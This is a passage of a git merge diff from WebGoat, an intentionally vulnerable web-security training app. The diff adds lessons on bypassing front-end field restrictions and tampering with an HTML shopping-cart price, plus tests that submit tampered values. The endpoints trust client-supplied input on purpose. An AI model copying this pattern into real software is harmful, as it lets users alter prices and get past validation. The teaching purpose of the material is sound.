merge of upstream, conflict resolution
This commit is contained in:
11
webgoat-lessons/bypass-restrictions/pom.xml
Executable file
11
webgoat-lessons/bypass-restrictions/pom.xml
Executable file
@ -0,0 +1,11 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>bypass-restrictions</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
</project>
|
@ -0,0 +1,63 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author WebGoat
|
||||
* @version $Id: $Id
|
||||
* @since October 12, 2016
|
||||
*/
|
||||
public class BypassRestrictions extends NewLesson {
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.CLIENT_SIDE;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 2;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "bypass-restrictions.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "BypassRestrictions";
|
||||
}
|
||||
}
|
@ -0,0 +1,74 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/BypassRestrictions/FieldRestrictions")
|
||||
public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput) throws IOException {
|
||||
if (select.toString().equals("option1") || select.toString().equals("option2")) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (radio.toString().equals("option1") || radio.toString().equals("option2")) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (checkbox.toString().equals("on") || checkbox.toString().equals("off")) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (shortInput.toString().length() <= 5) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
/*if (disabled == null) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (submit.toString().equals("submit")) {
|
||||
return trackProgress(failed().build());
|
||||
}*/
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
}
|
@ -0,0 +1,87 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/BypassRestrictions/frontendValidation")
|
||||
public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) throws IOException {
|
||||
String regex1="^[a-z]{3}$";
|
||||
String regex2="^[0-9]{3}$";
|
||||
String regex3="^[a-zA-Z0-9 ]*$";
|
||||
String regex4="^(one|two|three|four|five|six|seven|eight|nine)$";
|
||||
String regex5="^\\d{5}$";
|
||||
String regex6="^\\d{5}(-\\d{4})?$";
|
||||
String regex7="^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
|
||||
if (error>0) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field1.matches(regex1)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field2.matches(regex2)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field3.matches(regex3)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field4.matches(regex4)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field5.matches(regex5)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field6.matches(regex6)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
if (field7.matches(regex7)) {
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
}
|
@ -0,0 +1,126 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:BypassRestrictions_Intro.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- stripped down without extra comments -->
|
||||
<div class="adoc-content" th:replace="doc:BypassRestrictions_FieldRestrictions.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN" name="fieldRestrictions"
|
||||
method="POST"
|
||||
action="/WebGoat/BypassRestrictions/FieldRestrictions"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
|
||||
<div>Select field with two possible values</div>
|
||||
<select name="select">
|
||||
<option value="option1">Option 1</option>
|
||||
<option value="option2">Option 2</option>
|
||||
</select>
|
||||
<div>Radio button with two possible values</div>
|
||||
<input type="radio" name="radio" value="option1" checked="checked"/> Option 1<br />
|
||||
<input type="radio" name="radio" value="option2" /> Option 2<br />
|
||||
<div>Checkbox: value either on or off</div>
|
||||
<input type="checkbox" name="checkbox" checked="checked"/> Checkbox
|
||||
<div>Input restricted to max 5 characters</div>
|
||||
<input type="text" value="12345" name="shortInput" maxlength="5"/>
|
||||
<div>Disabled input field</div>
|
||||
<input type="submit" value="submit"/>
|
||||
|
||||
</form>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:BypassRestrictions_FrontendValidation.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
|
||||
<form class="attack-form" accept-charset="UNKNOWN" name="frontendValidation"
|
||||
id="frontendValidation"
|
||||
method="POST"
|
||||
action="/WebGoat/BypassRestrictions/frontendValidation/"
|
||||
enctype="application/json;charset=UTF-8"
|
||||
onsubmit="return validate()">
|
||||
<div>
|
||||
<strong>Field 1:</strong> exactly three lowercase characters(^[a-z]{3}$)
|
||||
</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field1" rows="1">abc</textarea>
|
||||
</div>
|
||||
<p></p>
|
||||
<div><strong>Field 2:</strong> exactly three digits(^[0-9]{3}$)</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field2" rows="1">123</textarea>
|
||||
</div>
|
||||
<p></p>
|
||||
<div><strong>Field 3:</strong> letters, numbers, and space only(^[a-zA-Z0-9 ]*$)</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field3" rows="1">abc 123 ABC</textarea>
|
||||
</div>
|
||||
<p></p>
|
||||
<div><strong>Field 4:</strong> enumeration of numbers (^(one|two|three|four|five|six|seven|eight|nine)$)</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field4" rows="1">seven</textarea>
|
||||
</div>
|
||||
<p></p>
|
||||
<div><strong>Field 5:</strong> simple zip code (^\d{5}$)</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field5" rows="1">01101</textarea>
|
||||
</div>
|
||||
<p></p>
|
||||
<div><strong>Field 6:</strong> zip with optional dash four (^\d{5}(-\d{4})?$)</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field6" rows="1">90210-1111</textarea>
|
||||
</div>
|
||||
<p></p>
|
||||
<div><strong>Field 7:</strong> US phone number with or without dashes (^[2-9]\d{2}-?\d{3}-?\d{4}$)</div>
|
||||
<div>
|
||||
<textarea cols="25" name="field7" rows="1">301-604-4882</textarea>
|
||||
</div>
|
||||
<input type="hidden" value="" name="error" />
|
||||
<p><button type="submit" class="btn btn-primary">Submit</button></p>
|
||||
</form>
|
||||
|
||||
<script>
|
||||
var regex1=/^[a-z]{3}$/;
|
||||
var regex2=/^[0-9]{3}$/;
|
||||
var regex3=/^[a-zA-Z0-9 ]*$/;
|
||||
var regex4=/^(one|two|three|four|five|six|seven|eight|nine)$/;
|
||||
var regex5=/^\d{5}$/;
|
||||
var regex6=/^\d{5}(-\d{4})?$/;
|
||||
var regex7=/^[2-9]\d{2}-?\d{3}-?\d{4}$/;
|
||||
var validate = function() {
|
||||
var msg='JavaScript found form errors';
|
||||
var err=0;
|
||||
if (!regex1.test(document.frontendValidation.field1.value)) {err+=1; msg+='\n Value entered for field 1 is not correct';}
|
||||
if (!regex2.test(document.frontendValidation.field2.value)) {err+=1; msg+='\n Value entered for field 2 is not correct';}
|
||||
if (!regex3.test(document.frontendValidation.field3.value)) {err+=1; msg+='\n Value entered for field 3 is not correct';}
|
||||
if (!regex4.test(document.frontendValidation.field4.value)) {err+=1; msg+='\n Value entered for field 4 is not correct';}
|
||||
if (!regex5.test(document.frontendValidation.field5.value)) {err+=1; msg+='\n Value entered for field 5 is not correct';}
|
||||
if (!regex6.test(document.frontendValidation.field6.value)) {err+=1; msg+='\n Value entered for field 6 is not correct';}
|
||||
if (!regex7.test(document.frontendValidation.field7.value)) {err+=1; msg+='\n Value entered for field 7 is not correct';}
|
||||
document.frontendValidation.error.value = err
|
||||
if ( err > 0 ) {
|
||||
alert(msg)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
</script>
|
||||
<br/>
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
@ -0,0 +1,4 @@
|
||||
bypass-restrictions.title=Bypass front-end restrictions
|
||||
|
||||
bypass-restrictions.intercept.success=Well done, you intercepted the request as expected
|
||||
bypass-restrictions.intercept.failure=Please try again. Make sure to make all the changes. And case sensitivity may matter ... or not, you never know!
|
@ -0,0 +1,6 @@
|
||||
== Field Restrictions
|
||||
In most browsers, client has complete or almost complete control over HTML part
|
||||
of the webpage. They can alter values or restrictions to fit their preference.
|
||||
|
||||
=== Task
|
||||
Send a request that bypasses restrictions of all four of these fields
|
@ -0,0 +1,9 @@
|
||||
== Validation
|
||||
|
||||
Often, there is some mechanism in place to prevent users from sending altered
|
||||
field values to server, such as validation before sending. Most of popular browsers
|
||||
such as Chrome don't allow editing scripts during runtime. We will have to circumvent
|
||||
the validation some other way.
|
||||
|
||||
=== Task
|
||||
Send a request that does not fit the regular expression above the field in all fields.
|
@ -0,0 +1,11 @@
|
||||
== Concept
|
||||
|
||||
Users have a great degree of control over the front-end of the web application.
|
||||
They can alter HTML code, sometimes also scripts. This is why
|
||||
apps that require certain format of input should also validate on server-side.
|
||||
|
||||
== Goals
|
||||
|
||||
* The user should have a basic knowledge of HTML
|
||||
* The user should be able to tamper a request before sending (with proxy or other tool)
|
||||
* The user will be able to tamper with field restrictions and bypass client-side validation
|
@ -0,0 +1,76 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 6/16/17.
|
||||
*/
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new BypassRestrictions());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noChangesShouldNotPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
|
||||
.param("field1", "abc")
|
||||
.param("field2", "123")
|
||||
.param("field3", "abc ABC 123")
|
||||
.param("field4", "seven")
|
||||
.param("field5", "01101")
|
||||
.param("field6", "90201 1111")
|
||||
.param("field7", "301-604-4882")
|
||||
.param("error", "2"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void bypassAllFieldShouldPass() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
|
||||
.param("field1", "abcd")
|
||||
.param("field2", "1234")
|
||||
.param("field3", "abc $ABC 123")
|
||||
.param("field4", "ten")
|
||||
.param("field5", "01101AA")
|
||||
.param("field6", "90201 1111AA")
|
||||
.param("field7", "301-604-4882$$")
|
||||
.param("error", "0"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void notBypassingAllFieldShouldNotPass() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
|
||||
.param("field1", "abc")
|
||||
.param("field2", "1234")
|
||||
.param("field3", "abc $ABC 123")
|
||||
.param("field4", "ten")
|
||||
.param("field5", "01101AA")
|
||||
.param("field6", "90201 1111AA")
|
||||
.param("field7", "301-604-4882AA")
|
||||
.param("error", "0"))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -1,5 +1,11 @@
|
||||
=== Welcome to the WebGoat challenge (CTF)
|
||||
|
||||
==== Introduction
|
||||
|
||||
The challenges contain more a CTF like lessons where we do not provide any explanations what you need to do, no hints
|
||||
will be provided. You can use these challenges in a CTF style where you can run WebGoat on one server and all
|
||||
participants can join and hack the challenges. A scoreboard is available at http://localhost:8080/WebGoat/scoreboard
|
||||
|
||||
:hardbreaks:
|
||||
In this CTF you will need to solve a couple of challenges, each challenge will give you a flag which you will
|
||||
need to post in order to gain points.
|
||||
|
@ -39,7 +39,7 @@ public class ClientSideFiltering extends NewLesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.AJAX_SECURITY;
|
||||
return Category.CLIENT_SIDE;
|
||||
}
|
||||
|
||||
@Override
|
||||
|
34
webgoat-lessons/html-tampering/pom.xml
Executable file
34
webgoat-lessons/html-tampering/pom.xml
Executable file
@ -0,0 +1,34 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>html-tampering</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-test</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.security</groupId>
|
||||
<artifactId>spring-security-test</artifactId>
|
||||
<version>4.1.3.RELEASE</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
<artifactId>junit</artifactId>
|
||||
<version>${junit.version}</version>
|
||||
<type>jar</type>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
|
||||
</project>
|
@ -0,0 +1,63 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author WebGoat
|
||||
* @version $Id: $Id
|
||||
* @since October 12, 2016
|
||||
*/
|
||||
public class HtmlTampering extends NewLesson {
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.CLIENT_SIDE;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 3;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "html-tampering.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "HtmlTampering";
|
||||
}
|
||||
}
|
@ -0,0 +1,60 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
* For details, please see http://webgoat.github.io
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
@AssignmentPath("/HtmlTampering/task")
|
||||
@AssignmentHints({ "hint1", "hint2", "hint3"})
|
||||
public class HtmlTamperingTask extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST)
|
||||
public
|
||||
@ResponseBody
|
||||
AttackResult completed(@RequestParam String QTY, @RequestParam String Total) throws IOException {
|
||||
if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) {
|
||||
return trackProgress(success().feedback("html-tampering.tamper.success").build());
|
||||
}
|
||||
return trackProgress(failed().feedback("html-tampering.tamper.failure").build());
|
||||
}
|
||||
}
|
149
webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html
Executable file
149
webgoat-lessons/html-tampering/src/main/resources/html/HtmlTampering.html
Executable file
@ -0,0 +1,149 @@
|
||||
<!DOCTYPE html>
|
||||
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:HtmlTampering_Intro.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- stripped down without extra comments -->
|
||||
<div class="adoc-content" th:replace="doc:HtmlTampering_Task.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN" id="task" name="task"
|
||||
method="POST"
|
||||
action="/WebGoat/HtmlTampering/task"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<script>
|
||||
var regex = /^2999.99$/;
|
||||
var price = 2999.99;
|
||||
document.getElementById("total").innerHTML = '$' + price.toString();
|
||||
var total = price * document.task.QTY.value;
|
||||
document.getElementById("total").innerHTML = '$' + total;
|
||||
document.getElementById("subtotal").innerHTML = '$' + total;
|
||||
document.getElementById("totalAmount").innerHTML = '$' + total;
|
||||
|
||||
$('#remove').click(function () {
|
||||
document.getElementById("QTY").value = 1;
|
||||
update();
|
||||
});
|
||||
|
||||
$("#QTY").on('change keydown paste input blur', function () {
|
||||
update();
|
||||
});
|
||||
|
||||
function update() {
|
||||
price = $('#price').text();
|
||||
if (!regex.test(price.toString())) {
|
||||
alert('Data tampering is disallowed');
|
||||
document.getElementById("price").innerHTML = 2999.99;
|
||||
update();
|
||||
}
|
||||
var total = price * document.task.QTY.value;
|
||||
$('#total').text('$' + total.toFixed(2));
|
||||
$('#subtotal').text('$' + total.toFixed(2));
|
||||
$('#totalAmount').text('$' + total.toFixed(2));
|
||||
$('#Total').val(total.toFixed(2));
|
||||
}
|
||||
</script>
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-sm-12 col-md-10 col-md-offset-1">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Product</th>
|
||||
<th>Quantity</th>
|
||||
<th class="text-center">Price</th>
|
||||
<th class="text-center">Total</th>
|
||||
<th> </th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="col-sm-8 col-md-6">
|
||||
<div class="media">
|
||||
<a class="thumbnail pull-left" href="#"> <img class="media-object"
|
||||
th:src="@{/images/samsung.jpg}"
|
||||
style="width: 72px; height: 72px;"></img>
|
||||
</a>
|
||||
<div class="media-body">
|
||||
<h4 class="media-heading"><a href="#">55'' M5510 White Full HD Smart TV</a>
|
||||
</h4>
|
||||
<h5 class="media-heading"> by <a href="#">Samsung</a></h5>
|
||||
<span>Status: </span><span
|
||||
class="text-success"><strong>In Stock</strong></span>
|
||||
</div>
|
||||
</div>
|
||||
</td>
|
||||
<td>
|
||||
<input size="2" value="1" name="QTY" type="TEXT" id="QTY"/>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1 text-center"><strong><span
|
||||
id="price">2999.99</span></strong></td>
|
||||
<td class="col-sm-1 col-md-1 text-center"><strong><span
|
||||
id="total">$2999.99</span></strong></td>
|
||||
<td class="col-sm-1 col-md-1">
|
||||
<button type="submit" id="remove" class="btn btn-danger">
|
||||
<span class="glyphicon glyphicon-remove" onclick="clear()"></span> Remove
|
||||
</button>
|
||||
